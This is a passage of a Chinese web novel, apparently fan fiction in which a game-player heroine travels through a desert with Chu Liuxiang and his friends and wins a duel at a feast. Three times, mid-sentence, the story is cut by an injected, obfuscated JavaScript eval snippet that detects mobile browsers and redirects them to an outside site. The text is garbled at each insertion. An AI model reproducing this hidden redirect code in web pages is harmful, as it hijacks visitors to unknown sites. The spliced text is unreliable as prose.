姬冰雁冷冷道,“这大漠中,除了你楚留香,还有谁会有那么高妙的轻功?” 楚留香的神色陡然变了。 他像是想到了什么,而姬冰雁知道那一定是一个令楚留香极为忌惮的敌人。他听到好友一字一句地说出了那个名字,“石观音。” 胡铁花的脸色陡然变得苍白,大叫道,“芒青姑娘还在木屋里!” 话音未落,姬冰雁已抓着石驼冲了出去。 4. 第四章 * 他们回去的速度比来时还要快上几分。 胡铁花神色焦急,他听到了自己的心脏在胸腔内剧烈跳动的声音。这只平日里最爱说笑的花蝴蝶此刻紧抿着嘴唇,一个字都没有多说。 木屋的轮廓越来越近了。姬冰雁先看到了缩在岩石后的小潘。 他三两步奔过来,厉声道,“你怎么在这里?芒青呢?!” 小潘见到人来,立刻膝行了过去,抱住姬冰雁的大腿。 身体里的水分消耗殆尽,他已经没有眼泪可流了,只是叫道,“芒青姑娘和贼人打起来了!” 姬冰雁的唇色陡然变得像纸一样惨白。 楚留香耳力极佳,同样听到了小潘的回答。他极迅速地跃过了这仅剩的几丈距离,却在看清眼前画面的那一刻停下了脚步。 一路上,他设想过无数种可能,但唯独没有预料到自己会看见这样的景象。 * 楚留香今天才发现,大漠的夕阳其实是很壮美的。垂髫之时读过的诗,楚留香同样时至今日才终于理解那其中所描绘的感情。 少年人一袭黑衣,静静地坐在屋外的台阶上,熔金般的落日余晖泼洒在她身上,鸦羽似的睫毛在眼下投出一片阴影。 铁刀随意地放在她身边,芒青的怀里正抱着一柄流光溢彩的重剑。 剑身之上分明已连一丝灰尘都瞧不见,她却仍在专心致志地擦拭。任谁都瞧得出她有多珍重爱惜这故人之物。 楚留香回过头,看到胡铁花和姬冰雁像两尊木桩一样直直地立在身后,不由感到有些好笑。可他到底还是没能笑得出来。 刺鼻的血腥气顺着风一路滚进了人的鼻腔里。 木屋里,满地的尸体中又多出了一具没有头颅的尸身和一只失去了身体的头颅。 房梁上、墙壁上到处都是喷溅的血迹。 一剑毙命。只一招而已,这个人就再没有了还手的能力。 胡铁花倒吸了一口冷气。 楚留香和姬冰雁蹲下身去,一个检查头颅,一个检查身体。 “芒青姑娘,这、”胡铁花一向是有什么就说什么的,今天却难得打了磕巴,喃喃道,“这究竟是怎么一回事……” 芒青看了一眼击杀通知,提取关键信息,“妙僧无花。” 胡铁花睁大了眼睛。而楚留香也已经掀开了那张丑陋非常的人.皮面具,露出了下面那张属于七绝妙僧的脸。 姬冰雁沉声说,“无花怎么会出现在沙漠里。难道你当初没有看着他咽气么?” 楚留香苦笑道,“正是因为我当初亲眼看见他死在我面前,所以才无从得知他又是怎么死而复生,出现在沙漠里的。” 这边厢,胡铁花已经从无花死了没死死了的冲击中缓过了神。 他看着芒青手中的那把剑,实在很难想象它的主人使用它时的样子。 无论是这把让无数剑客心折的宝剑,还是这名风流俊逸、令无数男女心折的少年人,都已是世间罕有的巧夺天工、钟灵毓秀。 你若让一个人只靠脑子去描绘少年侠客使用宝剑的场景,或许便有些太为难他了。 * 石驼就在不远处。他被姬冰雁放在空地上,这样高大健壮的人,此刻却仿佛变成了一具被抽干了灵魂的木偶。 尸体上并没有多余的线索,姬冰雁站起身,不由自主地趔趄了一下。 像他这样颇有些功夫在身的人,真气流转的速度是远要比普通人快的,故而习武之人大多身体强健,很少会出现这种情况。 楚留香神色一变,冲过去把住姬冰雁的脉门,“是毒!” 胡铁花也被吓了一跳。这究竟是怎样厉害的毒药,竟连楚留香都没有察觉。倘若姬冰雁中了这种奇毒,他们又要如何在这片几无人烟的沙漠中找到解药呢。 焦急间,一条缠着玄色护腕的手臂伸了过来,摊开的掌心中放着三粒小小的药丸。 芒青不知道什么时候起了身,那把重剑重新被布条遮了个严实,挂回了她的背上。 “解毒丸,一人一颗。”她说。 姬冰雁紧盯着那只伸过来的手,半晌都没有动作。正当芒青以为他要拒绝的时候,姬冰雁却忽然捏起一颗,毫不犹豫地放进了嘴里,“多谢。” 【赠送[初级解毒丸1],人物好感度+5,地图特殊加成,好感度+2】 于是芒青又看向了楚留香和胡铁花。 楚留香也觉察出了身体的不对劲,只是他尚且有一定的耐药性,没有如同姬冰雁一般反应强烈。 他并不担心芒青会趁机谋害他们。有这样无色无味、无声无息间便可取人性命的毒药,倘若她真有歹意,又何必多此一举。 楚留香把药丸吞服下去,无奈苦笑,“倒是又承了姑娘的情。” 这次,他没再提报恩之类的话。这种事情,真正想做的人是不会一直把它挂在嘴边的。 反而是胡铁花忸怩了起来,他哝哝道,“我和芒青姑娘一直在屋外头呢。” 芒青看了一眼他名字后头跟着的那个醒目的debuff状态:“……” “还是吃一颗更保险。”她说,“药丸而已,你平安才是最重要的。”毕竟是要帮玩家一起削boss血条的npc。 胡铁花的脸突然变得像熟透的苹果一样红,他一下子把药丸塞进嘴里,转过身,头也不回地大步往外走,几乎像是有猛兽在后面追着一般,逃也似的离开了,“我去看看石驼和小潘!” 芒青:“?”这么不愿意吃玩家的东西?不会偷偷出去吐了吧。 少年人的困惑全都写在了脸上,楚留香失笑道,“小胡并非有意冒犯姑娘。”他抵着唇,强压下嘴边的笑意,“咳……他只是有点不好意思。” 芒青仔细看了看他。楚留香坦然回望几秒,忽然又别过了脸去,唇角的笑意也浅淡了几分。 芒青:刚想夸这npc智能,下一秒就抽风了。 她心情复杂地跟着楚留香往外走,却突然听到胡铁花的大叫。 几人急奔过去,只见小潘伏在先前的岩石后,双目大睁,面容青紫,竟从七窍里流出了乌黑的浓血。 楚留香上前一探,他早已没了声息。 刚松快些许的气氛又变得沉重了起来。胡铁花的胸腔里像是堵着一块铅、一块铁,压得他满心焦灼。 * 众人休整一番便准备启程。他们耽误的时间已足够久了。 石驼站在骆驼的旁边、站在他的朋友们身边,似乎从中汲取到了某些勇气,于是他又重新变得像曾经那个石驼了。 芒青将剩下的两只水囊分做两份,其中一只递给了楚留香三人。 她拆开布条,拔出重剑,仔仔细细地用半壶水清洗了一遍剑身,另外半壶水转头又被这年轻人喂给了黑马。 胡铁花眼睁睁地看着,只觉得这些落到地上的晶莹水珠竟像是一颗颗黄金。须知在这片沙漠之中,千两黄金也未必能买的到多少淡水。 可是,当胡铁花看到芒青一点一点细致地擦拭剑身的样子时,便又一个字也劝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118104|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出口了。 这种时候,还能叫他说些什么呢。 * 即使楚留香等人已节省得不能再节省,水囊里的水还是在第二天下午彻底用尽了。 胡铁花仰着头,水囊的瓶口对准大张的嘴巴。他等了半天,也没有见到一滴水落下来。 胡铁花重重叹了口气。 芒青还在雕她的木人。她雕得越来越像了,至少楚留香已能隐约看出那是一个人形。 …… “我的梦想是退休后做一名木匠。” 篝火升起的时候,楚留香听到身旁的少年说。 他侧首望过去,只看到一双低敛的眉眼。她在刻一根细细直直的木头,浓密的睫羽遮住了眼睛,让人瞧不清她眼底的神色。 骆驼安静地围坐成一圈,木柴燃烧时发出噼啪的声响。偶尔有零星几点火花窜出火焰,飞舞几下,又很快消散在半空中。 “等我找到师兄,就在扬州湖畔边上盘一家小店。”她似乎是思考了一下,唇角又有了笑意,补充道,“没人光顾也是可以的。” 芒青是模拟经营佛系玩家,但是话虽如此,当然还是赚到钱更有游戏体验。 她在创号之前特意先做了一下攻略,听论坛说这游戏不过主线光种田也能玩,但是有一定概率被不知名boss暗杀打出GG,最好还是先完结主线。 姬冰雁静静地看着飘扬的焰火,胡铁花笑道,“怎么会没有人来?芒青姑娘若是开店,我三人是一定要去照顾一下生意的。” 他曲肘捅了一下姬冰雁,“死公鸡,老臭虫,你们说是也不是?” 姬冰雁笑了一下,那张棱角分明的面庞似乎在温暖的火光中显露出了些许别样的神采。他悠然道,“自然。” 楚留香同样微笑颔首。 芒青手里的木头终于削好了,胡铁花探头看了一眼,发现那居然是一支粗糙的木笛。 芒青把它拿在嘴边试了几个音,很快就吹上了调。 其实她背包里就有一只玉笛子,赶路时见缝插针地吹一吹,主要目的是刷音律的属性值。 * 沙漠里的木头着实算不得什么好材料,笛声自然也劈叉带漏风。胡铁花听在耳朵里,却有种别样的安宁与寂静。 夜风把篝火吹得歪斜下去,也将袅袅笛音送向了远方。 这样一个豪放不羁的浪子、酒鬼,居然也有一刻想要就此沉醉在这片荒无人烟的沙漠中,已经实在是一件极为可怕的事情了。 姬冰雁面朝帐篷,似乎沉沉地睡了过去。 楚留香听着胡铁花翻来覆去的声音,没忍住叹了一口气。胡铁花立时不动了。 楚留香并不是喜欢明知故问的人,但他此刻却不得不问,“你到底怎么了?” 胡铁花盯着帐子黑黢黢的顶部,回答他,“我不知道。” 楚留香道,“你知道那是什么曲子吗?” 胡铁花摇头。他这样的人哪里会有闲情雅致去认识什么曲谱呢。 楚留香缓缓地说,“那是首诉说思情的曲子。” 胡铁花思索道,“芒青姑娘在想她的师兄么?” 楚留香说,“我不知道。” 胡铁花扭头看着他。 楚留香又叹了一口气,道,“只因它正是女子思念倾慕的男子的情歌。” 他还想说‘现在,你该明白了么’,话音却终究没有出口。 有些事总是要当事人自己去发现的。旁人若是贸贸然捅破了那层窗户纸,反倒会适得其反。 5. 第五章 * 到第三天,没有了水源,众人已不敢在白天出发。 于这样的烈日下行走,不消多时,身体里的水分就会被蒸发殆尽。 芒青像个没事人一样,又去找了一堆木块回来,坐在已经熄灭的篝火边慢慢地雕。 胡铁花瞅了瞅她裸露在阳光之下的脖颈和手背,又低下头看看自己的胳膊,奇道,“她怎么晒不黑?” 姬冰雁从鼻腔里发出一声短促的气音,冷道,“她身上的古怪之处又何止这点。你难道见她吃过什么东西么?” 胡铁花哑然,半晌才道,“难道她是天上的仙子不成?我听说仙娥都是不用吃喝的。” 楚留香闷笑两声。他看了半天热闹,此刻终于大发慈悲替胡铁花解了惑,“有些人小时候学功夫时会辟谷,芒青姑娘大抵是略通些许的。” 姬冰雁的脸上也浮现出了一抹笑容。方才的一番说辞显然是在捉弄胡铁花。 胡铁花登时反应过来,跳到姬冰雁的背上把他扑倒,两只手钳着他,大叫道,“好你个铁公鸡,居然故意看我笑话!” 芒青看着又闹腾起来的三个人,实在很佩服游戏的策划。 头都要肝秃了吧? 待到傍晚启程时,芒青的面前已颇为壮观地摆放着整整三四排木雕。最后雕好的这只木偶,居然已经有了简单的五官轮廓。 临走时,芒青把篝火堆重新点燃,木雕和碎木屑一起被火焰卷起,逐渐化成了一摊灰黑色的余烬。 楚留香看了看芒青翻身上马的潇洒背影,又扭头瞧了瞧身边的好友。 胡铁花看起来竟比当事人还要丧气一些。 “全都烧掉未免有些可惜。”他叹道,“至少也该留下一个罢?” 芒青很惊奇地瞥了他一眼,似乎没想到会有人这么说。 少年“唔”了一声,思索一阵,反倒宽慰起胡铁花来:“旧的不去新的不来。有些东西抓得越紧,失去的反而更多。” 楚留香含笑道,“芒青姑娘很是洒脱。” 芒青摸了摸黑马的鬃毛,“而且,那天我从木屋回来后,发现袋子里少了一个木雕。” 胡铁花悚然道,“有人趁我们不在拿走了它?是那个害死了小潘的人?!” 楚留香担忧的反而是另外一件事,“那些人或许会因此对姑娘的师兄不利。” 虽然那样四不像的偶人实在很难分辨得出其间特征,但江湖上能人异士众多,有些经验丰富的仵作甚至仅凭一具骸骨便可以复原出死者生前的长相,实在不能让人不多提防一些。 “或许吧。”芒青先用一句话回答了两个人,“不过那个木雕本来就是我放在这里用来试探的,其实雕的不是我师兄。” 胡铁花:“……” 楚留香:“……” 姬冰雁反倒笑了。他难得开口,“倒是很聪明。” 胡铁花问,“那么你雕的又是谁?” 芒青板着脸:“正是胡大侠。” 胡铁花:“……” 胡铁花:“不对!你今天雕的人偶分明就不是我!” 芒青悠然道,“今天雕的自然是姬先生。” 姬冰雁一怔。 楚留香故作失落,笑叹,“难道独独落下了我么?” 芒青:“不错,正是如此。” 楚留香奇道,“又是何故?” “楚大侠太难雕了。” 楚留香不由摸了摸脸,“难道我的长相很奇怪?” “那倒不是的。”芒青盯着他看了一会儿,露出一点了然的神色,像是佐证了什么猜想,“因为楚大侠对别人的视线很敏感,如果我一直看着你的话,一定会被发现的。” 楚留香摸了摸鼻子,不再吭声了。 他不说话,胡铁花却有满肚子的话要说,“芒青姑娘,你为何管我和楚留香叫大侠,叫铁公鸡就是先生?这又有什么缘故么?” 芒青“啊”了一声,说,“因为姬先生看起来就是一个很斯文的人啊。” 这下,就连楚留香都惊异地打量了一遍姬冰雁,匪夷所思地念道,“斯文?” 胡铁花也大叫道,“斯文?!芒青姑娘,你的眼睛莫非是坏了么?” 芒青笑了,反问他,“难道姬先生不是这样的人吗?” 胡铁花哈哈大笑:“你可知道他是谁?在兰州城、在整个西北,就没有人不知晓他姬冰雁的名字。兰州的生意,无论是什么买卖,只要每天能赚上十两银子,其中就有一两是他的!这样一只铁公鸡,难道能叫我把他和斯文沾上边么?” 芒青道,“既然如此,那我一定要去兰州看一看了。” 胡铁花问,“为什么?” “眼见为实。”芒青点了点自己的眼睛,“姬先生究竟是怎样的人,也总要我自己去看过才能知道。” 她竟还是用“先生”称呼姬冰雁。 楚留香笑叹道,“芒青姑娘这样的人,实在是……”他看到了姬冰雁的表情,便再说不下去,也笑不下去了。 姬冰雁却没有理会楚留香,他的目光始终落在芒青的身上。 这个罕言寡语的男人竟然破天荒的先抛出了话头,“你师兄是怎样的人?” 话题跳跃得太快,芒青愣了一下,才反应过来这是npc要主动给线索了。 她点开主线剧情,仔仔细细地看了一遍,确认自己不会落下重要信息才开口。 * 姬冰雁的话音落下,马背上的少年人却好似陷入了回忆,许久都没有说话。 而楚留香三人,竟也全都静静地等待着,没有任何人出言催促。 黑马突然轻轻嘶叫了一声,她这才如同大梦初醒般回过了神。 “我师兄……是一个很好的人。”她说。 似乎无论怎样夸赞的言语、怎样华美的词藻都无法准确地描绘出记忆里的那个人,于是旁人最终也只听到了这句再朴素不过的形容。 “我是被师兄捡回山门的,也是师兄一手带大的。我的剑法就是师兄教的,他是一个很厉害的人,后来又有了一把很厉害的剑。” “我小时候很顽皮,偷偷玩他的剑,不小心把自己割伤了,他就不怎么用了,只提着一把铁剑东奔西走。” “每次出山门,他都会把剑放在我这里,到了约定的日期就会回来。” 少年人的神色无比平静,十几年的光阴在她口中也不过只是寥寥几语,楚留香却感到了一股哀伤。 “这一次,我等了很久,他都没有回来。”她笑着叹了一口气,“只好换我去找他啦。找到师兄,我带他一起回山门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118105|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 胡铁花的喉咙里像是堵着一块秤砣。姬冰雁道,“你师兄当年是往哪里去的?” 芒青回答,“我不知道。” “那你要往什么地方去寻他?” 年轻人说,“只要把所有地方都找过一遍,总会找到的。” 她的态度是那么理所当然,就好像她并没有意识到这是一件多么艰难的事情。这远比去大海里捞一根针还要困难,因为你起码知道这根针还在海里。 可是谁又能劝她呢,谁又能劝得动她呢。她已选择了这样的一条路,便是你用十头牛去拉,她也是不肯回头的。 若有一个人,日复一日、年复一年地悉心栽培你、照料你、爱护你,拥有这样再亲近不过的关系,你又怎么会因别人的三言两语轻易地放下他。 如果无法找到他,你一定会怀念他,一年比一年更爱他。 楚留香早已想到了故事的结局,便免不得要为之叹息了。 * 芒青按自己的话把剧情润色了一遍,说完满心欢喜地等待着npc们提供新线索,谁知道好半天过去了,她生命值都掉了两点,还是没有一个人说话。 芒青:“……”不是,这对吗。耍我? 她悲愤莫名,正打算给狗策划写一封亲切礼貌的问候邮件,死机已久的npc终于说话了。 胡铁花看起来是想要拍一拍桌子的,奈何当下的条件不允许,他只好一捶大腿,大声道,“芒青姑娘,一个人找哪有四个人找来得快?这忙我胡铁花是一定要帮的,你放心好了!” 姬冰雁也淡淡颔首,“我尚有一二人脉。” 楚留香同样郑重道,“楚某日后也必定留意,不知令师兄名姓为何,身上可有什么特征?” 芒青沉思。这仨人难道是策划埋的伏笔吗?中后期会再次出现的线索npc? 算了,死马当成活马医。说了不一定赚,但不说一定血亏。 她翻了翻人物志,找到宗派里唯一亮着的那个。 “我师兄姓温,温至洲。他比我要大八岁,生日是五月初九,今年有二十四岁了。”少年人笑道,“他跟我一样,左眼下面有一颗痣,喜欢穿白衣服,脖子上有一道疤。不过为了避免吓到人,他一般会拿东西遮起来。” 属于一款非常色气的人夫哥了,官方还是很懂玩家喜欢看什么的。 “他很好看,你们要是见到他,一眼就能认出来。”呵呵。能不能见到还不是策划说了算。 胡铁花嬉笑道,“如此说来,你这师兄岂不是比我还要年轻?” 芒青佯作不知:“胡大侠贵庚?” 胡铁花说,“正好比你师兄大两岁。” 芒青:“那胡大侠岂不是比我大了十岁。原来是该叫您一声胡叔叔的。” 她本是揶揄,哪知胡铁花听了这话,竟像是被雷劈过一般,当场呆在了原地。 姬冰雁看了他一眼,突然冷笑起来,“你就这点出息么?” 楚留香也不是不通人事的毛头小子,看胡铁花的样子,哪里不知道发生了什么,心下既觉无奈,又觉好笑。 芒青:“。” 芒青现在是真的确定这游戏的npc会时不时抽一下疯了。想不到玩家居然也有一天会看不懂npc的行为,简直倒反天罡。 6. 第六章 * 又过半日,众人还是没能看到水源和人烟。楚、胡、姬三人就像是霜打的茄子,肉眼可见地蔫了下去。 他们已有整整一天半没有喝过一滴水了。 石驼不时俯下身,将身体贴在地面上嗅闻。他正在寻找地下的水源。 芒青颇有些新奇。即使是这样高难度的动作,游戏也能做得栩栩如生,就是不知道建模师的头发还有没有好好地待在脑袋上。 沙漠里的人饥渴到一定地步时,为了活下去,即使让他们去喝骆驼的尿液,他们也是有勇气照办的。 楚留香几人虽不至于沦落到那种境地,却也实在体面不到哪里去。 此刻,他们就在物理意义上的吃沙。 有些水源虽然无法汇集成水洼,却可以附着在沙砾之上,既然已经到了万不得已的时刻,他们便也不得不靠着吮吸沙砾里的水份捱过这段时间。 芒青叹为观止,看了看被自己踩在脚底下的黄沙,实在很难想象塞一团这玩意进嘴的口感。策划为了真实度也是拼了。 他们就这样循着地下的水源又走了两日。楚留香、胡铁花和姬冰雁已经几乎狼狈得连人形都看不出了。 倘若现在找熟识他们的人来这里分辨,那些人大抵也是不敢认的。 芒青这个外来人口倒是没受到一点影响,趁着这几天的功夫把巧匠的属性值刷到了高级,等级也顺势升到lv.38,解锁了地图功能。 芒青:又背着人偷偷进步了。(拇指 看这几人分外凄惨的样子,芒青顺手点开了系统地图,打算瞅瞅还有没有救。好歹npc的命也是命。 她本来没报太大希望,毕竟任谁来这鬼地方待上几天都会对游戏策划的道德下限产生新的认知,没想到竟然有意外之喜。 等石驼又一次趴伏在地上刨挖沙坑时,芒青故意装模作样地看了一会儿,撂下一句“我去前面看看”,便运起轻功,朝着地图指引的方向去了。 不怪她谨慎,实在是这游戏的npc做得太有活人感了。 刚登陆的时候芒青没摸清楚门道,当着卖酒npc的面掏了一张桌子出来。npc大喝一声妖怪,把整条街的人都给吸引了过来,当场给她扣了50声望值。 经此一役,芒青总算学会了在游戏里老实做人的道理。反正她下次开新档一定不会选正道人士了。 呵呵。哪个正经人到游戏里是来做好人好事的啊。 * 芒青突然离开,黑马却并不慌张,继续慢悠悠踱步跟着楚留香一行人。 胡铁花看着它从容的样子,到底还是没能忍住,逗道,“你主人不要你了。等出了这沙漠,你不如就跟着我走罢。” 马斜着觑他一眼,突然慢下脚步,绕到另一边去了。 楚留香哈哈大笑,姬冰雁伸手摸了摸马的鬃毛。 马:“……” 它不耐烦地打了一个响鼻,头顶上代表心情的宝石变成了黄色。 不过多时,芒青便飘身回来了。她的轻功实在很漂亮,像一片树叶、一朵落花,轻轻巧巧地落在了马背上。黑马立刻凑上去,鼻头一动一动地嗅闻她身上的气味。 芒青摸摸它的大脑壳,顺手往马嘴里塞了一把麦芽糖,反正游戏数据吃不胖。 尝到好吃的,黑马头顶上的两个小耳朵竖起来向前倾去。芒青搓了搓,手感非常好。 她还没忘记正事,转头和楚留香三人说,“我们可以快一些,前面就有一片绿洲。” 胡铁花本来正蔫蔫地趴在驼背上看着她和马互动,闻言顿时振奋起来,“那我们还等什么?” 芒青“唔”了一声,给他打预防针,“但是绿洲上还有其他一些人。” 胡铁花只当是同样过路的旅人,笑道,“这有什么妨碍。我们只用很小的一块地方歇脚就足够了。” 然而,直到几人被披坚执锐的甲士押送着进到了那巨大而华美的营帐之中时,胡铁花才终于晓得芒青口中的“一些”究竟是有多少。 * 帐篷外有柔软的草地、高耸的林木、如同翡翠一般清澈的池水。帐篷内铺着像云朵一样柔软的地毯、摆放着许多的美酒和佳肴,还坐着几个芒青不认识的人。 他们正在举办一场宴席。 主座上的男人头戴金色的冠冕,身上穿着一件鲜红色的袍子。 他被打断了兴致,却仍旧不气不恼,笑容盎然道,“哦?这几位又是何方神圣?” 楚留香被推搡着上前,他顺势走几步站定,拱手笑道,“在下刘向,只是和朋友路过此地而已,惊扰了阁下,实在抱歉得很。” 话音刚落,便有一道声音泠泠娇笑道,“父王你说有没有意思,这人不仅生得俊俏,还长了一张十分灵巧的嘴巴。” 说话的姑娘正坐在红袍男人的身边。她实在是一个很美的女孩子,微湿的鬓发松松拢在脑后,露出一张如清晨初绽的花朵一般柔美的面庞,两条白玉般的手臂盈盈抱着一只琵琶。 胡铁花已看得呆住了。 女孩子看见他的模样,笑意愈发深了,伏在男人耳边悄声说了些什么。 她父王听完,哈哈大笑起来,“既然我们的琵琶公主这样说了……” 他抬手略微一摆,桎梏着芒青几人的甲士便放开了手去。 胡铁花刚松下一口气,下一瞬,数道裹挟着寒风的利刃就已朝他的前胸和后背刺了过来。 红袍男人睁大眼睛,目不转睛地看着,连酒也顾不上喝了。 衣袍翻飞间传出了两道清脆的兵戈之声,定睛一看,居然已有两名武士被胡铁花掀翻,撞在了地上。 而楚留香手中,竟也夹着四五只长约一指的飞镖。方才这暗器正是直冲他的心门而来。 不待他们喘息,一名高壮如小山般的大汉不知何时出现在了帐篷之中。他身上横肉丛生,迈步时仿佛地面都跟着一起震动了起来。 芒青看着他锃光瓦亮的头顶,心底突然不合时宜地冒出了一句话。 他秃了,也变强了。 胡铁花像是被这样的场面吓得呆住了,站在原地直勾勾盯着那张狰狞可怖的巨大人脸,分毫闪躲也无。 直到汉子那双比蒲扇还大的手掌将将触上他肩膀时,胡铁花才仿若惊醒,终于有了动作。 他这一动,好似突然变成了一条滑不留手的泥鳅,矮身朝侧面一躲,有惊无险地避过了这一招。 回过身,胡铁花一只手轻飘飘往前一送,似乎也没使上多大力气,那壮汉却被他推得向前扑倒过去,轰隆一声砸翻了桌案。 楚留香那边也分出了胜负。他出手迅捷,不待旁人瞧清他的动作,那几名手持长戈的武士便都已倒在了地上,呻吟着爬不起身来了。 红袍男人见状,立刻抚掌赞道,“好身手!果真是好身手!来人,替这几名贵宾备上案席!” 须臾之间,几名身姿婀娜的美人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118106|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从帐外款款而入,端来了美酒和美食,又有几人把打翻的饭菜收拾妥当,换上了新的佳肴。 那壮汉似是摔得极重,半天也未能爬起身来,直到侍女布好案几,这才慢慢有了动作。 他抬起一只手,仿佛是要寻找支点一般,稍不留神,竟将手摁在了芒青面前的桌案边。 餐盘立时剧烈地摇晃了起来,碗筷碰撞间叮铃作响。 眼见杯中的酒水就要泼洒出来,胡铁花面露焦急,正要起身来助,却有一只执筷的手比他更快。 筷尖抵在桌面上,那即将倾覆的案几居然立刻平稳了下来。 芒青神色平静,和地上半抬起头的大汉对视。片刻,那汉子眼神闪烁一下,缓缓将手抽了回去。 芒青也淡淡收回手。银筷抬起,桌面上竟连一丝痕迹也无。 被红袍男人称作琵琶公主的女孩子抚弄着自己的鬓发,忽然绽开一个比春光更明媚几分的笑颜,“少侠好功夫,不知你叫甚么名字?” 芒青站起身,她身形修长挺拔,端端正正地行礼时,便给人一种少年人独有的玉树临风之感。 “鄙姓温,单名一个归字。” 哈哈,真让她装到了。爽。 琵琶公主微微睁大了眼睛,“你竟是个女人么?” 红袍男人反而大笑起来,“好!果真是英雄出少年。这莽夫乃是敝帮的一位勇士,名唤昆弥,虽有几分力气,却笨手笨脚,若有冒犯之处,还请少侠海涵。” 芒青:“阁下言重。贵邦君臣协契,在下实感叹服。” 琵琶公主嗔道,“你倒是像你那叫刘向的朋友,一样的油嘴滑舌。” 芒青:“……那还是不至于吧。”她觉得自己挺正经的啊。 楚留香挑起眉头看了她一眼。 原本一直懒洋洋歪坐在左边席位上的绿衣男子突然睁开了眼。他的目光阴隼如毒蛇,缓缓地从芒青一行人的脸上剐过,最终落在胡铁花身上,“朋友这样好的身手,不若也和我比过一场,如何?” 芒青淡笑道,“阁下又是什么人呢?” 红袍人:“还未替四位引荐,这五位江湖大侠都是我请来的贵客。” 他一一介绍过去,芒青心不在焉地听着,这才知晓那位绿衣服npc原来叫杜环。 不过他的名字原本也并不怎么重要。区区30级小怪也敢跟玩家叫板,估计是策划送上门来的经验外卖包。 绿衣人在红袍男人念出他名字时就已施施然站起身,走到了胡铁花的面前。胡铁花眼也未抬,仰头倒持着酒壶往嘴里灌。 芒青彬彬有礼道,“观阁下的面色,似乎有些体虚之症,若与我朋友比试,旁人只怕会疑心是我们故意欺负人,不如就让晚辈来替他一试。” 杜环脸上的肌肉抽搐了一下,他看着芒青,半晌才咧开一个阴狠的笑容,“少侠的这条舌头瞧起来实在碍眼得很。既然要较个高下,不如再添些赌注。” “愿闻其详。” 杜环寒声说,“若你赢过了我,我便跪下叫你三声奶奶,可若你输在了我手上——”他话音一转,杀机毕露,“我就要拔掉你的这根舌头。” 楚留香立时就要开口阻拦,胡铁花先自嚷道,“要和你比试的是我,找别人去做什么?” 芒青的手搭在胡铁花的肩膀上,将他的身体重新压回坐席。她顺势起身,执着酒壶弯腰帮胡铁花把半空的杯盏重新添满,笑道,“既如此,请前辈赐教。” 7. 第七章 * 杜环已站定在帐篷中央,芒青将右手虚虚地搭在刀柄上,信步走至他面前,眉宇间颇有几分闲适。 见她过来,杜环上下打量几眼,蔑然道,“黄口小儿,让你三招。” 芒青仍旧是笑意盈盈的模样,“我岂非胜之不武。还是不必了。” 杜环冷笑,“好,你既这么自信,那就让我来试试你的成色——” 话音未落,他脚掌旋地一蹬,人已冲了上去。 芒青并不拔刀,只以刀鞘隔挡。刀鞘碰到杜环的左掌,竟好似撞到了一块同样坚硬的铁板之上,发出一声金铁交鸣的脆响。 不过两招,芒青脚步虽未后退,防御却已露出了破绽。杜环眼底精光一闪,一直背在身后的右掌如同毒蛇般猛窜而出,直向她咽喉而来,狞笑道,“竖子狂妄,今日就是你的死期!” 那只手竟不知何时戴上了五只漆黑的钢环,在烛火的映照下显露着不祥的暗芒。 二人之间距离极近,纵使芒青的动作再快,等她拔出刀来,恐怕也为时晚矣。 姬冰雁霍然起身。胡铁花像是呆住了,只有仔细去瞧才能发现,他的手指竟在不由自主地颤抖。楚留香和琵琶公主几乎同时失声叫道,“小心!” 芒青神色分毫不见慌张,似乎仅是微微向上抬了一下胳膊,便见那刀鞘斜着一提一送,居然就这样别着劲在杜环的两只手腕上绕了一圈。 “咯啦”一声让人牙酸的脆响,杜环的双腕竟被生生扭断了,只余一层皮肉连接着手掌和小臂,十根手指无力地垂下,钢环也无声无息地滚落在了地毯之上。 他的面色比之前还要惨白上三分,控制不住地软倒在地,痛得浑身发颤。难为他竟还忍得住,强捺着没有发出呻.吟。 三招之内,胜负已定。 【玩家已击败[杜环],获得升级点数5,经验点数500,金币奖励2000】 【[系统邮件]您已升级,当前等级lv.39】 少年人退开两步,颔首道,“承让。”感谢npc送来的经验大礼包。 睚眦必报的玩家还不忘往人心口补上一刀,故作姿态道,“古有曾子避席,我朝更以孝治天下,晚辈惭愧,奶奶就不必叫了。” 琵琶公主“噗嗤”一声笑了。见父王面露困惑,悄声解释道,“这是中原《孝经》里的典故。学生在老师提问的时候离开坐席回答问题,以展示自己对老师的谦逊……温少侠是在讽刺杜大侠呢。” 在场俱是江湖好手,耳聪目明,琵琶公主的声音虽小,该听到的人也好,不该听到的人也罢,终归全都听了个清清楚楚。 杜环的神色更扭曲了几分,一口血喷出来,就此彻底晕厥过去。 